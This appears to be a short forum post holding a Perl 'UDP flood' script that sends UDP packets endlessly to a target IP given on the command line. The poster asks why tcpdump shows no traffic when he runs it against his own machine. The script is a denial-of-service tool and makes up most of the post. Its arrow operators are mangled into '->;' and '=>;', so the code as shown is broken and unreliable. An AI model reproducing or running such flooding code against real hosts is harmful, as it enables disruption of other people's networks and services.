udp....

dajun

1. 
   
2. #!/usr/bin/perl
   
3.                                                                                 
   
4. use IO::Socket::INET;
   
5.                                                                                 
   
6. sub gotint{
   
7.         print "\n\n$countz packetz sent\n";
   
8.         exit 1;
   
9.         }
   
10. $SIG{INT} = \& gotint;
    
11.                                                                                 
    
12. print "UDP flood for xxx\n\n";
    
13. $|++;
    
14. if ($#ARGV < 0){
    
15.         print "usage $0 target_ip\n";
    
16.         exit 1;
    
17.         }
    
18. my $host = $ARGV[0];
    
19. my $data = 'my xxx data';
    
20. my $sock=IO::Socket::INET->;new(
    
21.                                 PeerAddr=>;$host,
    
22.                                 PeerPort=>;'4096',
    
23.                                 Proto   =>;'udp'
    
24.                                 );
    
25. die "socket error" unless $sock;
    
26. print "Socket OK!\n\n";
    
27. print "Flooooooooooooooooooooooding.........press Ctrl^c to quit\n\n\n";
    
28. my $count = 0;
    
29. $countz=0;
    
30. while (1){
    
31.         print $sock "$data\n";
    
32.         $sock->;autoflush;
    
33.         $count++;$countz++;
    
34.         if ($count>;500){
    
35.                 $count-=500;
    
36.                 print "\b=>;";
    
37.                 }
    
38. }
    
39. 
    

复制代码

run it on my box and against my box,
but Tcpdump show nothing !